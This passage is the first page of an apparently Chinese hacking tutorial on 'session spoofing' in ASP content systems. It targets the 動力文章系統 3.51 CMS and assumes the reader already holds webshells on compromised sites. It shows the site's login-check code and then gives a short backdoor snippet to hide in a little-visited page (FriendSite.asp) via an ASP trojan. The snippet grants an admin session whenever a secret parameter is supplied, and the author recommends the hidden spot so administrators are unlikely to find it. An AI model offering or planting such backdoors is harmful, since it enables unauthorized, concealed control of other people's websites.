程式|木馬 前段時間泛濫成災的動網論壇上傳漏洞以及最近接二連三的各種asp系統暴露的上傳漏洞,可能很多朋友手中有了很多webshell的肉雞,至於選擇怎麼樣這些小雞的方式也是因人而異,有人繼續提升許可權,進一步入侵,也有人只是看看,馬兒放上去了過了就忘記了,也有一些朋友,當webshell的新鮮勁兒過去了背景神秘感和誘惑力也就大大增加。
其實,對很多功能強大的系統而言,拿到後台也就是拿到了一個好的後門了,但是現在比較新的版本的很多asp系統密碼都是MD5加密然後配合嚴格的驗證程式來驗證的,但是我們就沒有辦法突破這些限制了嗎?no!我今天就是要說怎麼突破這些限制讓我們直奔後台,有馬兒廄是好辦事,follow me............
session欺騙篇
首先簡單說一下一般asp系統的身分識別驗證原理。 一般來說,後台管理員在登入頁面輸入帳號密碼後,程式會拿著他提交的使用者名稱密碼去資料庫的管理員表裡面找,如果有這個人的帳號密碼就認為你是管理員,然後給你一個表示你身份的session值。或者程式先把你的使用者名稱密碼提取出來,然後到資料庫的管理員表裡面取出管理員的帳號密碼來和你提交的相比較,如果相等,就跟上面一樣給你個表示你身份的sesion值。然後你進入任何一個管理頁面它都要首先驗證你的session值,如果是管理員就讓你通過,不是的話就引導你回到登入頁面或者出現一些奇奇怪怪的警告,這些都跟程式員的個人喜好有關。
知道了原理,我們現在的一個思路就是通過我們的asp木馬來修改它的程式然後拿到一個管理員session,這樣的話儘管我們沒有管理員密碼,但是我們一樣在後台通行無阻了。我把這種方法稱為session欺騙。限於篇幅不能每個系統都能詳細說明,本文僅以動力文章系統為例來說明。
動力文章系統3.51,(圖一)
圖一 其實動力文章系統的所有版本全部通殺,包括動易。大家可以自己實踐一下。
我們先來看一下它的驗證內容。動力文章3.51的驗證頁面在Admin_ChkLogin.asp,其驗證內容如下:
............
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略符號是使用者名稱密碼不正確的驗證,直到else,看一下,如果使用者名稱密碼正確就給你兩個session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我們在看一下其他管理頁面是怎麼驗證session的,admin_index.asp一開始就這樣:
看起來似乎很嚴密,但是我們看一下,它這裡值驗證一個AdminName的session,只要我們的session內容是AdminName的話不就可以通過了?好,我們開工,先去弄到它的管理員帳號再說,這個不要我教你了吧?到他網站逛一下或者直接一點下載它的資料庫來看都可以知道。我們找個頁面來改一下,我找一個比較沒人而內容較多的頁面FriendSite.asp(友情連結頁面)來改,呵呵,這樣管理員也很難查得出來啊。用asp木馬的編輯功能來編輯一下它的內容。在他頁面下隱蔽處加上下面幾句話:
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" ‘這裡是假設的,實際操作中可以改成你想要得管理員帳號
end if
[1] [2] 下一頁